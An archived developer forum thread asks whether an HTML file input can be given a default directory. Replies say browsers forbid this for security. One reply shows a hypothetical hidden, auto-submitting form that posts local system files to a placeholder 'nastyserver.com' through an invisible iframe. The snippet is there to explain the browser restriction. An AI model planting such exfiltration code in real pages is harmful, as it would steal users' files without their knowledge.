467,169 Members | 984 Online
Bytes | Developer Community
Ask Question

Home New Posts Topics Members FAQ

Post your question to a community of 467,169 developers. It's quick & easy.

input type=file

is it possible to define a default or start up directory with input
type="file" field type?

If so, is it also possible to filter by another option box selection?

If so, how so?

Thank you

Paul Moffitt
Jul 19 '05 #1
  • viewed: 4275
Share:
4 Replies
No, it is not. For security reasons, you cannot pre-specify any sort of
value for a file input. (Unless you run across someone using IE 1 or
something maybe...)

Ray at work

"Paul Moffitt" <NO***************@iniinc.com> wrote in message
news:eN**************@TK2MSFTNGP11.phx.gbl...
is it possible to define a default or start up directory with input
type="file" field type?

If so, is it also possible to filter by another option box selection?

If so, how so?

Thank you

Paul Moffitt

Jul 19 '05 #2
> is it possible to define a default or start up directory with input
type="file" field type?


No. What would prevent you from doing this?

<form method=post action=http://nastyserver.com/ target=hiddenframe>
<input type=file value='c:\boot.ini'>
<input type=file value='c:\windows\system32\user.dat'>
....
etc etc
....
</form>
<iframe name=hiddenframe width=1 height=1 style='visibility:hidden'>
</iframe>
<script>
document.forms[0].submit();
</script>

I rather like this security mechanism. If your users can't figure out how
to use a browse... dialog, it might be time to upgrade to better users.
Jul 19 '05 #3
>> it might be time to upgrade to better users.
Where do I request this upgrade? I didn't even know I had
that option. Do I send the old ones (users) back to you?

:)

John

Jul 19 '05 #4
> Do I send the old ones (users) back to you?

Gosh no. I think I'm about 5 versions ahead of you. :-)
Jul 19 '05 #5

This discussion thread is closed

Replies have been disabled for this discussion.

Similar topics

3 posts views Thread by Oxygenearth | last post: by
2 posts views Thread by Quick Function | last post: by
By using this site, you agree to our Privacy Policy and Terms of Use.